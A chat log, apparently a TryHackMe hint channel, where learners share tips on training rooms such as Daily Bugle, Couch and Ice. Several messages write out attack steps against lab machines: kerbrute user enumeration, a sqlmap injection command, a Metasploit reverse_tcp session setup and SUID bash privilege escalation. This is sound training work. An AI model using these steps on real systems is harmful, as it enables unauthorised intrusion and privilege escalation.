room-hints

[onyx dagger]

Also try watching any Ippsec video 🙂

[lunar crow]

ok

[iron hedge]

In the owasp top 10 room on task 19, I'm having trouble finding the default login and password hidden in the webapps source code

[stuck fractal]

Have you found the source code?

Hint: not view source.

[iron hedge]

the links to the javascript and css in the source?

[stuck fractal]

View source gives you the client side code. That's not what you're interested in.

Ok. You buy a new computer, let's say. You turn it on and it's asking for a password. What do you do?

[iron hedge]

check the documentation for a password

[stuck fractal]

Probably by typing "computer model default password" in to google, right?

Faster than reading the manual for sure.

[iron hedge]

found it on github

thank you

[stuck fractal]

You're welcome

[old pond]

Need a hint for the pickle Rick CTF room..

Found a ssh port and web port...on port 80 ..found some gifs and JPEGs in one directory....finally left with a username and some text in robots.txt..which doesn't make any sense... trying to do some steg on those gifs and jpegs ...but nothing found out yet .

[brave vale]

You already have a username, and another "word" found in robots.txt, why not try using DirBuster or Gobuster to find where to use that information?.

[old pond]

Already did it...with gobuster

Just found a assests dir ..and nothing useful inthere...

[brave vale]

Keep enumerating, try other wordlists and you will find what you are looking for.

[old pond]

Actually I have a quesn... dirbursting can find login pages??

[old pond]

Yaa..will do it

[brave vale]

DirBuster or Gobuster are tools to find directory or file names (among other options) on web servers by brute force. They always depend on the wordlist you are using.

[old pond]

Ok

[sweet ferry]

hints on vulnet internal?

which service to enumarate for second flag

[lucid olive]

Hey, I'm doing the Attacktive directory room, enumerating users on kerberos. I'm running this command: ./kerbrute_linux_amd64 userenum --dc spookysec.local -d spookysec.local userlist.txt -t 100 but it goes through the whole list without matching a username, is the command missing something?

Nvm, figured it out.

[iron hedge]

kinda lost on the owasp top 10 room task 29. Is this the correct exploit I should be looking for? ||https://www.exploit-db.com/exploits/49314||

[light tundra]

Network Services 2: Tak 10 — Exploiting MySQL:

How in the Hell do I find this?

[hearty widget]

@iron hedge Try looking for an RCE 🙂

@light tundra This one's a sub box so might be worth asking in sub room. Otherwise from your description try using the find command to search for the MYSQL.txt file. (There's a room on that if needed.)

[light tundra]

@hearty widget on my machine or the target

[hearty widget]

@light tundra My assumption is you're looking for the MYSQL.txt file so you will need to do that on the target machine.

[light tundra]

okay thank you

[rustic surge]

I'm at the 2nd level of https://tryhackme.com/room/reloaded, but when I try to save a patch with SavePatch.py and try to run the exe on windows, it gives an error

should be #room-help but I'd still appreciate the help :)

[zinc tinsel]

Investigating Windows 3.x
Question 27 : What is the full registry path that was queried by the attacker to get information about the victim?

Could anyone help me on this please ? I browsed through logs for hours, tried countless filters, followed the hint, I can't find it.

[hearty widget]

@rustic surge What's the error?

[rustic surge]

"Incorrectly installed the file"

or something in that direction

[hearty widget]

Sorry read your message wrong, figured it was an error from the python script. now i reread it's for the file. Not done this one, sorry.

[iron hedge]

Task 3 on the OWASP juice shop doesn't at all tell me what it is looking for in the answer boxes

[hearty widget]

@iron hedge Question 1 or 2?

[iron hedge]

Both, I've logged on as admin but I don't see anything that fits the answer format

[hearty widget]

If you follow the question steps you'll receive a popup answer at the top of the home page.

if you missed this and closed it you might need to restart the box.

[iron hedge]

I'' try that

worked this time

[clear swift]

Hi, I'm in battery room, so far I've collected an ||ELF binary where I think it's the admin password but wasn't unable to find it|| and I've found ||/admin.php|| which I think it could be vulnerable ||to sqli|| but not that sure. Any possible hint, please?

[dire otter]

I'm having difficulty at room network services task enumerating SMB

What ip should i scan?

nvm

[brave vale]

You should check "in more depth" that ||binary||, and read about ||SQL truncation attack|| or ||Null byte injection||. Note that there are several ways to bypass that part.

[cursive sedge]

Hey all, having a wee issue with a question in network fundamentals 2. trying to run ./bash -p and its throwing:

cappucino@polonfs:~/.ssh$ ./bash -p
./bash: line 7: syntax error near unexpected token newline' ./bash: line 7: <!DOCTYPE html>'

any ideas>

[stuck fractal]

That looks suspiciously like you downloaded the webpage rather than the binary

Based on the fact it's HTML

[cursive sedge]

that would make sense! thought I was being smart using my new wget command 🙄

am I best off just going to the webpage and downloading it manually and cping it over

okay, got the proper file in there now and it does not throw errors now, but still outputs nothing... any ideas?

[ripe hedge]

If it's from github, you need to grab the raw link

[stuck fractal]

Check the permissions and importantly the owner

Owner needs to be root

[ripe hedge]

But it likely doesn't have the right permissions

[stuck fractal]

Permissions need suid

[ripe hedge]

And what James said

[cursive sedge]

currently sitting at: -rwsr-sr-x 1 cappucino cappucino 1113504

[ripe hedge]

Owner's not right

Rest is ok

[cursive sedge]

ah okay doaks. must have messed something up on the way here. Ill start afresh as I have no idea how to change the owner!

thanks chaps

[ripe hedge]

That's a google able question ;)

[cursive sedge]

ohoho, I gave "sudo chown root bash" a wee go but still no dice 😂 back to the drawing board

[ripe hedge]

Look up the man page

[stuck fractal]

Yep

[ripe hedge]

You'll need to do it locally though

[stuck fractal]

Then you modified it so it lost suid

[ripe hedge]

Not on the target VM, also that

[cursive sedge]

aw fantastic chaps. got it now, order is put file where you want it > set owner > set SUID

cheers guys!

[stuck fractal]

Or do it all as root which is bad practice

[cursive sedge]

bad practise? none of that here 👀

[fleet swan]

Hi all, looking for a tip for Daily Bugle room. I'm running sqlmap again the DB and sqlmap reads, "sting for SQL injection on GET parameter 'list[fullordering]'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y" I selected yes, but was that correct or would MariaDB(saw that in the nmap scans) benefit from those additional payloads?

[spice shard]

Try to hit "enter" rather than typing "yes" as it'll just obey what you want. So pressing enter, it'll ignore the prompt and move on. If I'm am not mistaken.

[fleet swan]

Thanks, do you remember how long that scan took for you?

I know it's dependent upon hardware and environment, but generally?

[spice shard]

Errr, I did notice the time but am not sure to be honest. But, it depends on the connection speed (as in my case, net connection speed was slow and it was taking much time)

[fleet swan]

Yea, I'm being impatient for sure.

were you able to run the joomblah.py script?

[spice shard]

Haven't heard this script's name before

[vital crown]

It doesn't quite ignore the prompt, it just goes with the default for that prompt i.e. The capitalised option. In this particular example: Y

[fleet swan]

Pressing enter seemed to kill the process for some reason

I'll go with the capitalized options

[spice shard]

Not really. It just works fine while ignoring what it ask us. For eg "Do you want to skip test payloads specific for other DBMSes? [Y/n]", pressing enter will ignore what it had ask. I can also be wrong for sure

[gusty kite]

I am doing the "investigating windows 3.0" room but question 17 does not seem to accept my answer even though I am quite sure it is correct. Anyone done this room recently and could check my answer?

[white salmon]

Hi I'm trying to complete the Osquery room but am stuck at Task 9 Windows and Osquery at question What is the schema for win_event_log_data?.

I've found the "source" for the query but I'm stuck at how to "translate" this into a query. I've tried https://uncoder.io/ but so far no luck.

Does anybody now where I could look in order to complete this question?
Any help would be appreciated 😄

[tame sparrow]

Were you able to find a solution? I too am stuck at this. And no solution has been provided in the previous discussions. 🤔

[tame sparrow]

Ignore the above. It worked after I restarted the target machine. Dunno why it didn't work the first time.

[thick roost]

Sorry, was looking elsewhere but good to see you got it 😄

[zinc tinsel]

@gusty kite I can check, you can dm me

[dusk ibex]

Hello!
Unable to access tryhackme machine

Permission denied, please try again.

[fleet swan]

Question on Daily Bugle and sqlmap. When I run sqlmap -u sqlmap -u "http://10.10.56.37/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --tables -D joomla I get a list of the tables in a format that appears like ##tableName, when I try dumping the tables using that format sqlmap say it needs a table name, I'm guessing the ## is commenting it out. So I try without the ##__ and still get an error. I ran the py script and received a table name different then this format. sqlmap gave ##_Users and joomblah.py gave fb9j5_users which I'm able to run sqlmap against. Why the discrepancy, what am I missing?

[white salmon]

sp0rkt the table name in my notes is #__users

and for the sqlmap use -T '#__users'

[fleet swan]

Thanks, let me double check my dump. I

[fleet swan]

Yea, weird, I still can't pull it using '#_users', but using fb9j5_users I can.

the fb9j5_users can from joomblah and the #_users came from sqlamp

unless the other table is in another DB, but I'm fairy certain it was the joomla DB

[shut wolf]

Common Linux Privesc: task 6 - openssl passwd -1 -salt ["new"] ["123"]

the command is correct, though answer is not coming up correct?

[stuck fractal]

Remove the quotes and square brackets.

[shut wolf]

thankyou

[candid nimbus]

Check out task 3. There's an example query that does just what you need and shows you the format you should get for the answer. All you need to do is change the name of the table.

[forest moss]

In Networking Services: Task 4, how do i open the files that are in the directory or preview them in the console? I've tried cat, curl, and just "open" lol

and nano. But none of the commands are found

[frank wasp]

hello, i'm trying to complete task 4 in networking services, i was able to use smbclient to get into the share but i cannot open the text file

[twilit mauve]

@frank wasp Are you referring to the smb.txt flag?

[worn otter]

you might have to download it to your machine and then open it

[frank wasp]

i’m referring to the part where you’ve just connected to the share via smbclient and there’s a .txt file you need to read the contents of

[rain latch]

Anyone got a nudge regarding the privilege escalation in the couch room?

[twilit mauve]

@frank wasp If you mean "Working From Home Information.txt", then the command is more.

syntax: more "filename"

[frank wasp]

i tried that and it was giving me a blank file, does it have to be in quotes?

[twilit mauve]

@frank wasp yes

[frank wasp]

ah that must’ve been it, thanks!

[green minnow]

Gave +1 Rep to @twilit mauve

[rain latch]

^ currently got a shell as atena and couchdb

[inner wolf]

@nop I too am stuck in privilege escalation part of couch. Please let me know if you find something. Tried kernel exploit, not working

[winged acorn]

same here

[vast perch]

same here

[white salmon]

someone have already done the Couch vm?

because i'm stucked in the privesc

[feral charm]

history whale mnt

[sand jackal]

same stuck on the same part, this exploit has to be new to me xD

[toxic shoal]

got user in 45, stuck on priv for a few hours

[sand jackal]

same, flew through whole lab, found the user password after already popping a reverse shell

while listing files in term xD

stuck on last part

[toxic shoal]

docker related for sure

[loud nebula]

there is actually kernel exploit that work

[toxic shoal]

Nice, dont think thats the intended way though haha

[loud nebula]

ik, got stuck on docker

but it was fun room

[toxic shoal]

just finished it

[loud nebula]

congrats

[terse nova]

hi, i'm playing the couch room and i already rooted the room but i can't find the root flag

[silk cove]

rooted without finding the root flag?😛

[terse nova]

yeah 🙃

any hint where the root flag ??

[silk cove]

all i can say is you dont have to think too much,thats the most easy part with this room 😆

[terse nova]

oh so the root flag was hidden intentionally, I thought that was a bug that's why i asked

[fading forge]

I am unable to found credentials in the web administration tool on the couch

[loud nebula]

google is your best friend

[fading forge]

there are no writeup on couch

[loud nebula]

google on how to administer couchdb through browser

[brave vale]

If you found the port where something is waiting for you, read their official documentation.

[late bough]

Was it actually docker related like you thought? (I'm stuck on the privesc)

[rain latch]

Also still looking for a way (the kernel exploit i tried didn't work)

[gaunt lotus]

i got root but searching for the flag

[rain latch]

Mind giving me a hint on how you proceeded?

[rain latch]

If you already got access to the administration toolkit just take a look around the DBs and tables

[brave vale]

It's always good to check if the file where the history of commands executed on the system is stored has valuable information...

[eager umbra]

Hi there....if someone could hint me on how to proceed with task 5 for room Sakura...I would appreciate it...it seems that the user does not exist on twitter and hence I am unable to proceed

[brave vale]

The find command is your best friend in finding that flag.

[dusky needle]

Haha, couch was one trippy room😂😂

[gaunt lotus]

thanks man

[green minnow]

Gave +1 Rep to @brave vale

[candid nimbus]

Search for text rather than users

[white salmon]

Same here, the PrivEsc part is really shady xD

[late bough]

It was staring me in the face the whole time...
Thanks for the nudge, I finished〜！

[green minnow]

Gave +1 Rep to @brave vale

[white salmon]

Many thanks...didn`t think it was that easy, if you look where you need to look.

[eager umbra]

It suddenly came sometime back...not sure man what happened

[white salmon]

The Linux Fundamentals Room, where different switches for find command are explained is gold for this part.

[orchid root]

Hey! Doing couch room! Any hint for getting root

[gaunt lotus]

Yeah i know, i should've been more patient until it got me back with the results

[terse nova]

thanks i just found the root flag

[green minnow]

Gave +1 Rep to @lost snow

[terse nova]

Hint is the user directory

[rain latch]

Bash history might contain some information

[azure nova]

Is docker the way to get root?

[rain latch]

[weak moth]

Anybody completed the room couch?

[loud nebula]

yes

[solid halo]

room-couch
que-6
can't figure it out

[brave vale]

You will find the answer in the official documentation, take a look at the API reference.

[solid halo]

thnx

👍

[clear coral]

hey guys am on bookstore box, am stuck on the privesc any hints ?

[shadow wharf]

Ulrich Boltaz:
Anyone completed kiba room

I need help on gaining shell

[solid wave]

Anyone completed linux fundamentals 3?

[glacial gust]

best to ask, room task

[spice shard]

Just ask your question directly

[forest moss]

I'm stuck on Networking Services 2 Task 3. When I try use SSH to log in as the user "ubuntu" it says Connection Closed

I don't get why it closes the connection

[glacial gust]

are you sure the user is correct

[forest moss]

ermm

well i tried changing it to root

it doesn't say connection closed anymore

[glacial gust]

you found the user earlier in the room

[forest moss]

but it asks for a password, even though i've supplied the id_rsa

[glacial gust]

if it wants a pass, the id_rsa is not associated to that user

[forest moss]

ohh

I think i know where i've gone wrong

hang on lemme try something lol

[forest moss]

Thank you 🙂

[green minnow]

Gave +1 Rep to @glacial gust

[glacial gust]

np

[south narwhal]

What'ss the technical term for a connection successfully established in Session OSI model?

[oak timber]

session(s)?

[pure star]

I did my first write up , If someone want to check there it's a link

https://ekimik.medium.com/jack-of-all-trades-tryhackme-1dcadaac36eb

[south narwhal]

nice try

[dusky plinth]

Hello guys, I am doing the Common Linux Privesc room and have a question about task 4. It is about the LinEnum script. Can i answer the questions only with the output of the script or do i need to research myself?

[river musk]

There are other ways to get those answers but you can also use LinEnum just try increasing the level to 1 with -l

[white salmon]

Thank you very very much!! 😁

[green minnow]

Gave +1 Rep to @candid nimbus

[astral rivet]

Is anybody else having application error trying to access the OWASP juice shop website?
https://imgur.com/a/w6QEv6G

oh well look at that, while typing up a couple of questions to some friends about it - OWASP juice shop webpage starts working yay!

[lament tusk]

Hello guys I'm kindda stuck with last question of Splunk2 room. I need to find a single webpage contacted by schedule tasks. Any hints please ?

[lapis pendant]

Hi all, in brainstorm room which I know its a bof room BUT as nmap stated 3389 open i decided to check out the bluekeep exploit and it worked a treat. nmap to root.txt in 10 mins. just wondering, is this common or quite rare ?

[brave vale]

It's not a race, do the room again by exploiting the Stack Buffer Overflow (which I think is the intentional path of doing the room) to practice, I think that's what matters, practice and incorporating new knowledge.

[lapis pendant]

Cant agree more, I only started BOF´s this week. I suppose I still got "attack the ports" mentality from previous weeks learning. thanks

[green minnow]

Gave +1 Rep to @brave vale

[brave vale]

You can also report it in the #room-bugs channel, surely there will be someone who can tell you if it is intentional or not. I recommend the Buffer Overflow Prep room (https://www.tryhackme.com/room/bufferoverflowprep), I started it a few days ago and complementing that room with other sources you will learn a lot.

[lapis pendant]

yeah, done that room already. cheers tho

[copper blade]

Hello guys!

Please I need help pertaining to setting up my metasploit.

After launching the msfconsole, running the command to check the database status "db_status" shows that "postgresql is selected, no connection"..

Please help on how to connect it, I've done tons of research, all to no avail..

PS: I'm a beginner

[ripe hedge]

do you have a postgre database running?

[copper blade]

Omg, your question helped!

Running systemctl, I discovered postgresql service has stopped, so I started it and trying "db_status" command on msf again, I got "connected to msf"

But I've done all these some couple of days ago, I don't know why it worked:sweat_smile:

[ripe hedge]

the whole "no connection" is a good hint, tbf

[copper blade]

Exactly but I did this same thing some days ago and didn't work😩

Working now is a mystery but hey who cares? So far it works..

Thanks man!

[green minnow]

Gave +1 Rep to @ripe hedge

[wide ocean]

I am completing the Linux fundamental part 3 room and in task 6 ( maintaining your system: automation).
And the ques is
When will the crontab on the deployed instance run ?

But there's no entry.
And answer length is 7 .
Please help me here

[hearty widget]

@wide ocean @ 6 stars 🙂

@wide ocean Look at the processes.sh line. 🙂

[wide ocean]

@hearty widget can you please elaborate the syntax.

[hearty widget]

I've already basically given you the answer. you just have to read it

[ripe hedge]

you know where crontabs are yes

[hearty widget]

check my comments in the DM

[ripe hedge]

and how to read them

[wide ocean]

There are no process and lines on the crontab.

[hearty widget]

What command are you using to open crontab?

[ripe hedge]

there should be one, read the task carefully

AFAIR it's not in /etc

[wide ocean]

Ok I'll recheck

[hearty widget]

@wide ocean did you "crontab -e"?

[wide ocean]

Yes it's mentioned in the task only I did that.

[hearty widget]

Once that opens you have only one line not commented (commented lines are the ones with # at the start)

[ripe hedge]

should be in there, only it's not the typical syntax

[wide ocean]

Got it.
I restarted the Machine several times and there's nothing before.

I am on level 13 I know the commands and all.

Btw thanks for the time and help

[hearty widget]

Is this what you have?

[wide ocean]

Yup got rt now

[hearty widget]

ah super.

[copper blade]

I've followed the steps in the walkthrough but exploit failed and msf is not creating a session for the attack, please help

[toxic shoal]

make sure your options are setup correctly?

Seems like it cant reach the IP set

Make sure the box is still online, try to ping it etc

[copper blade]

after trying several times, I got a completed exploit but no session was created...

Running the sessions command shows "no active sessions"

[spice shard]

If I'm not wrong then it's a ice room. Will you show the options?

[copper blade]

db_nmap -sV IP address

use 5 (number for exploit/multi/handler)

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST MY_THM_IP_ADDR

use icecast

set RHOSTS DEPLOYED_MACHINE_IP

exploit

[spice shard]

Screenshot, please

[spice shard]

Don't use exploit/multi/handler

Only use icecast_header exploit

[copper blade]

Ohhh.
Let me try that out...
I will try to send the screenshots

[copper blade]

You are a hero man, it worked!

Thanks buddy!

[green minnow]

Gave +1 Rep to @spice shard

[upper mulch]

hey guys

i have a problem with entiring network

last task of pre security

can someone help me

with sending tcp packets to computer 3

anyone here

in spite of router it doesnt set on his local host

yeahhh???

plsss

last question

i need help

[sturdy shadow]

Basic Malware RE it says u don't need to use any disassmbler. so I extracted it with simple 7zip. file and i got a file .rdata which is the key. I opened it with xxd still i can't get anything clear what to do

[hearty widget]

@upper mulch Which room? which task?

[sturdy shadow]

how can someone see the flag without decompiler..??????

[hearty widget]

@sturdy shadow Not done the room but you can either check the write up or imo just use ghidra.

[sturdy shadow]

that's right ghidra will work. But it says don't use any debugger

[hearty widget]

@sturdy shadow scrap that, just had a look. If i'm reading it right you should be able to strings the file and you'll get the information you need.

[sturdy shadow]

I saw strings and lots of strings.. And something which i 90% sure useful but i can't see what..

<EC>^B^@^@<EC>^B^@^@^@^@^@^Y^AExitProcess^@KERNEL32.dll^@^@H^Ememset^@^@F^Ememcp
y^@^@L^Esprintf^@ntdll.dll^@^N^BMessageBoxA^@USER32.dll^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<9E>^P<E2>Z^@^@^@^@<E6><EC>^B^@^A^@^@^@^K^@^@^@^K^@^@^@x<EC>^B^@<A4><EC>^B^@<D0><EC>^B^@p^_^@^@<F0>^^^@^@P^^^@^@<F0> ^@^@<90>^_^@^@^@^P^@^@<E0>^_^@^@<F0>!^@^@0"^@^@<90>"^@^@<A0>!^@^@<F5><EC>^B^@^D<ED>^B^@
^^<ED>^B^@8<ED>^B^@K<ED>^B^@]<ED>^B^@|<ED>^B^@<94><ED>^B^@<B4><ED>^B^@<D3><ED>^B^@<E9><ED>^B^@^@^@^A^@^B^@^C^@^D^@^E^@^F^@^G^@^H^@   ^@
^@plaintext1.exe^@??0MD5@@QAE@XZ^@?Decode@MD5@@CAXPAKPAEI@Z^@?Encode@MD5@@CAXPAEPAKI@Z^@?Final@MD5@@QAEXXZ^@?Init@MD5@@QAEXXZ^@?MD5Transform@MD5@@CAXQAKQAE@Z^@?Update@MD5@@QAEXPAEI@Z^@?digestMemory@MD5@@QAEPADPAEH@Z^@?digestString@MD5@@QAEPADPAD@Z^@?md5_hash@@YAPADPAD@Z^@?writeToString@MD5@@QAEXXZ^@

ghidra is last option

[hearty widget]

Sorry. I've just opened the task for myself. Ignore my previous comments. So it seems you can't use ghidra but you can use code analysis tools (IDA, Codebrowser)

Actually tbh, i don't think it matters. I think the point it do find the details manually regardless of tool. Sorry not very helpful here lol.

[sturdy shadow]

Nope no issue. Thanks

[green minnow]

Gave +1 Rep to @hearty widget

[sturdy shadow]

where this rep goes?

[hearty widget]

I saw it somewhere, let me check and confirm.

Can't remember, think there's just a leader board somewhere though.

[upper mulch]

yeah entering network but there was an issue but its fixed hopeflly

[orchid root]

I m doing mindgames room any hint for getting root??

[grizzled cape]

Hi guys! This is Cross-Site Scripting Room (XSS-Key Logger)
• I'm trying to understand further about XSS' Key-logger, can someone let me know why should I change the "console.log(1);" and how do I tell what should I change?

[ripe hedge]

Good luck

Also gtfobins may help

[copper blade]

Please why is meterpreter session dieing Everytime? Who's Killing it😭

I already got into the remote machine but after few seconds, it dies.
Any reason why this happens??

[spice shard]

Please elaborate which room you're doing, which exploit, payload you're using. Provide screenshots.

[orchid root]

I m not able to get root any hint how can I get

[ripe hedge]

Linpeas should flag an interesting binary

[orchid root]

Yeah I got that one openssl

I tried looking for it in GTFO bins

Haven't got anything special I can't find any other way

[ripe hedge]

Gtfobins has an entry with an unusual attack vector

Especially for the capabilities that the binary has

You'll have to do a bit of research to figure out how it works though

[orchid root]

Okay let me see

[ripe hedge]

But once you figure it out the actual exploitation is fairly straightforward

[grim bear]

i am still hving a problem with the task

di u get a resolution

[grizzled cape]

Does anybody able to help me with this?

[toxic shoal]

basically its saying you can make it write to your domain instead of just the console I believe

[grizzled cape]

I suppose it's my own domain with my ideal location I want the record to be right?

[toxic shoal]

yeah

[idle plover]

I am having trouble with this question, "Find all files with write permission for the group "others", regardless of any other permissions, with extension ".sh" (use symbolic format)?" where can I learn how to use the symbolic format?

[toxic shoal]

I think I know the room you are doing, doesn't it talk about symbolic format?

https://linuxize.com/post/chmod-command-in-linux/

theres a section in that with symbolic format notes

[grizzled cape]

Got you, thanks man!

[green minnow]

Gave +1 Rep to @toxic shoal

[noble lark]

Hi everyone !

I'm currently stucked in the Windows fondamentals pt2.

Dont understant the question about msconfig : "Whom is the Windows licence registered to " ?

Understand* sorry

It about the Windows services field

[sturdy shadow]

It's a complex questions it takes me ages to solve..

Actually it's a silly questions in my opinion.. think about it.

[noble lark]

I don't find any services which matches with thé answer

[sturdy shadow]

If u purchased something like a product. Then my question is who purchased this product.

So answer is I purchased this product..

[noble lark]

the * sorry

Wow thank you @sturdy shadow

[green minnow]

Gave +1 Rep to @sturdy shadow

[sturdy shadow]

Nope

[noble lark]

I've subscribed

[noble lark]

I was thinking that is was a foggy question

[sturdy shadow]

Hahaha

[noble lark]

I've tried more than 4 hours une the services filed

Field

Of msconfig

I don't understand the relation between msconfig and this question

[sturdy shadow]

Yup

[noble lark]

Thanks a lot

[pulsar harness]

Extending Your Network -- I tried to response to arp request but it doesn't show on the network log, data: computer2 from computer2 to computer1.

Is it suppose to do that, or I'm wrong somewhere?

[steady stratus]

computer 1 to computer 3 -- that or the vice versa I can't recall which way around from the top of my head (:

It also needs to be a tcp packet

[pulsar harness]

Yeah it's computer 1 to computer 3 - when I do that, it keeps saying "ARP REQUEST: Who has router tell computer1"

[brave vale]

You do not receive the pop-up message with the flag?

[pulsar harness]

Not really

[brave vale]

In Data write Hi or whatever you like.

[pulsar harness]

Same thing 😦

[brave vale]

Try to do it from the following URL https://static-labs.tryhackme.cloud/sites/net-simulator/?config=introtonetworking

Remember to write something in Data.

[pulsar harness]

FINALLY, thank you so much

[glacial sapphire]

okay....webenumv2....the nikto practical, last question about the jboss cookie...

I've played with outputs and displays and there is no mention of cookies

either what am I looking for or what am I supposed to be entering into the cli that would bring it up?

so far I've done nikto -h IP -Display 2 -Output V

[hardy umbra]

I recently completed solving Binex THM room, and while solving that room, I found this ....

Photo from Soumyani1

I'm not sure, but according to my knowledge for finding offset, do we not have to copy the RSP register value, rather than RBP...???

Please correct me if I'm wrong ❤️🙏...

[light tundra]

Windows Fundamentals 1, Task 3:

I don't know why this question is baffling me. I can't find what the answer looking where it should be on the VM.

It is literally the one question I have to complete the Pre-Security path lol

[undone quail]

What's the square-ish thingy called? I should ask: Where does it take you?

[grim bear]

thx much

[green minnow]

Gave +1 Rep to @brave vale

[light tundra]

To the ||notification center||?

[undone quail]

You got half of it. I think I went in to customize the notification area and found the correct option there if i'm not mistaken

[light tundra]

hmmm

okay

[light tundra]

I'll look around. Thank you

[green minnow]

Gave +1 Rep to @undone quail

[undone quail]

no problem

[glacial sapphire]

@undone quail any idea what would work on the nikto question I asked earlier? the one to find cookies?

[light tundra]

that was not the half I thought I had correct lol

[undone quail]

So you found it?

[light tundra]

yep 🙂

[undone quail]

Awesome

[onyx dagger]

Im looking for a hint on Pickle Rick. I have gotten the first two but have been stuck on the last one for some time. Any help? EDIT: Got it, nvm. Totally overthinking it

[feral pilot]

Nmap room: i think I got the wrong attack machine ip... is the attack machine the iplisted at the top of the screen?

[onyx dagger]

Its the part titled "Active Machine Information"

The green ip address at the very top is yours.

[feral pilot]

🤦‍♂️

[dusky plinth]

Thank you

[green minnow]

Gave +1 Rep to @river musk

[austere violet]

Hi guys, I'm doing the owasp top 10 room and I'm stuck on the part where we've to find non-root/non-service/non-daemon user count
I know I need to examine the etc/passwd file but I need help with how to proceed with that

[spice shard]

User has uid >= 1000 (:

[brave vale]

Be careful with that in other scenarios, in my Mac my default user has a UID of 501.

[spice shard]

Okayy, thankyou for letting me know. TIL something new. Thankyou @brave vale

[subtle socket]

There is a executable.exe file in user/share file in victim machine accessible via SMB, how can i transfer that to my kali machine?

[spice shard]

Using get command

[orchid root]

Hey I m doing susta room! Any hint for getting in? Like I have just started and I can't figure out what can I do

[brave vale]

Try to "guess" the correct number, if you encounter something that prevents you from doing so, you can search for information on how to bypass rate limits.

[subtle socket]

Thank you.

[green minnow]

Gave +1 Rep to @spice shard

[hidden hearth]

Hey, got a quick question on the Zero Logon room, task 4. I've run the zero logon exploit, and now I'm trying to run the secretsdump.py script and getting connection errors for port 445 (which didn't show open on a nmap scan). Any hints to set me in the right direction with this one?

nvm, i was using the cmd wrong

[ivory magnet]

Hey anyone help me to the first step of disk analysis and autopsy

Plz help

[earnest cairn]

im doing the linux fund, what is the password for the ssh

I cant find it for the life of me dude

and I aint using the browser

[native widget]

Hey all! I'm going through the HackPark room and have a problem with the hydra command. The way it is shown in the text doesn't seem to work. I've adjusted the command so that it worked, but it slowed down the machine to about 5 req/minute... anybody able to help out?

[dusky plinth]

Can someone help me getting root privileges with apache2 without a shell escape sequence?

[distant python]

tryhackme

[distant python]

I have done it, you can dm me if you want

linux fund3 - task8 - the user I ssh'ed with has no privileges to read the apache log file. Is this on purpose?
Edit: Nvm, I see what you guys did there -.-

[median grail]

How websites work - task 5: "View the website on this task and inject HTML so that a malicious link to http://hacker.com/ is shown."
I don't understand how see the source code of the website. In the task 4, there was a direct link to see the source code but there is nothing there.

[dusky plinth]

you can see the sourcecode with f12 on your keebord or do right click and click Visit sourcecode

[median grail]

but i can see all the source code of THM

[dusky plinth]

give me a sec

have you tried to look only for the Frame Source code?

[median grail]

how to look it ?

[dusky plinth]

It's german do not wonder

But if i am right informed you do not need this for Task 5

[median grail]

I need to be able to add something to the code, but this is not possible

[dusky plinth]

nope

[median grail]

I have searched and searched, but I really don't understand

[dusky plinth]

there is a field where you can enter Code.

Try inserting some HTML code

[median grail]

\o/

thank you !

[dusky plinth]

keep it up😄

No Rep sad face

[median grail]

💪

oh no, don't be sad

[sonic thorn]

I'm doing "Windows Fundamentals 1" could I get a hint for Task 3, Question 3: Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?

Anyone?

[dusky plinth]

look closer at the messagebox on the right

[sonic thorn]

Sorry to ask again, but I am stumped as to what icon is missing, like all the icons in the question are the only icons there!

I'm doing "Windows Fundamentals 1" could I get a hint for Task 3, Question 3: Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?

[kind moss]

Without giving it away this is the best way I can think of to describe it- you are looking right at it, perhaps figure out the name for every icon you see

[wanton tulip]

There are some links to MS documentation in the lesson, take a look

[buoyant radish]

can someone give me a hint on extending your network task3 of networking nerd????

[sonic thorn]

Already done it now.

[sonic thorn]

Which question?

[timber pier]

anyoneknow, What is each section of an IP address called?

[loud nebula]

O##et

[timber pier]

is that answe for ip?

[loud nebula]

pardon, which room?

[timber pier]

new room

in pre security

[loud nebula]

what is networking?

[timber pier]

?

[loud nebula]

the room, what is networking, right?

[timber pier]

yea

[loud nebula]

this is enogh hint

[timber pier]

not correct

[loud nebula]

replace the ##

i giving you a clue

[timber pier]

ok

[brave vale]

Read the text task again, the answer is there.

[timber pier]

oh

i think it's bytes

lol

[ornate sage]

What layers of the OSI model do firewalls operate at?

could you please help me

I am trying to solve this but not passing at all

[grim grove]

Lookimg for some help on how websites work and what I'm looking for on the java script in pre securty

I found what I belive to be the credentials but not working

[fleet swan]

The correct answer is commented out in the javascript on the page in question, is that the one you tried?

[grim grove]

Will dm you

[fleet swan]

The answer is in the section about IP addresses, be sure the spelling and plurality is correct.

[tepid violet]

i dont need helm more i just wrong writet the answere m,y fault xd

[native storm]

I'm in the Upload Vulnerability Challenge. I can upload and find a file to the server. I have a reverse shell for the NodeJS framework, but activating it in the admin page only leads to "Module does not exist" instead of a reverse shell to my nc listener.
Any ideas?

[gloomy nebula]

I am having troubles with answer format in Linux Fundamentals Part 3

[rain latch]

Is that the whole output of cat /etc/crontab? because it seems like there is something missing

[gloomy nebula]

Yep, that's litterally it

[vital crown]

Try using just:

crontab -l

(I think it is)

[gloomy nebula]

yep, I tried this, nothing interesting here

[spare halo]

hi, im doing Linux strength training room V2, just curious, why did kali read scp username@ipaddress:/path to directory/'system AB'/ab as /path to directory/system and /path to directory/AB? Any idea how to solve this?

[vital crown]

Very bottom line. You're not looking for a time. You're looking for a system event in this case

[gloomy nebula]

I am dumb, I've put it before without @

Thanks a lot

[spare halo]

in case its hard to understand. here it is

[vital crown]

You need to put the whole path in quotes:

"/home/sarah/system AB/db/ww.mnf"

[spare halo]

I did but it still does the same thing

or must i use double quote? that shouldnt matter right?

[vital crown]

I think it might matter. I tend to use doubles all the time

[spare halo]

Tried it. turns out to be the the same. doesnt work either

[vital crown]

Is it giving you the exact same error message?

[spare halo]

yeah

[amber wagon]

What is each section of an IP address called?

[midnight anchor]

read the room again

thats the biggest hint

[raw parrot]

it should be in the description

[midnight anchor]

and try to understand what you are reading

[amber wagon]

I can't find it

[midnight anchor]

.

[amber wagon]

I did

[midnight anchor]

read it again

[amber wagon]

@midnight anchorI wanna rage now

I can't even find #3 too

[midnight anchor]

be patient, hacking requires patience

dont hunt answers

try to learn something new

[amber wagon]

Done

[spice shard]

